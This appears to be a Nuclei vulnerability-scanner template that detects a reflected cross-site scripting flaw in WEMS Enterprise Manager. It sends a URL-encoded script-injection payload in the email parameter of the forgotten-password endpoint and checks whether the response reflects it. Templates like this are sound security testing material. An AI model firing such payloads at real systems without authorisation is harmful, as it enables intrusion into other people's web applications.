35 lines
1.1 KiB
YAML
35 lines
1.1 KiB
YAML
id: wems-manager-xss
|
|
|
|
info:
|
|
name: WEMS Enterprise Manager - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: high
|
|
description: WEMS Enterprise Manager contains a cross-site scripting vulnerability via the /guest/users/forgotten endpoint and the email parameter, which allows a remote attacker to inject arbitrary JavaScript into the response return by the server.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
tags: xss,packetstorm
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- type: word
|
|
words:
|
|
- '"><script>confirm(document.domain)</script>'
|
|
part: body
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|
|
|
|
# Enhanced by mp on 2022/09/23
|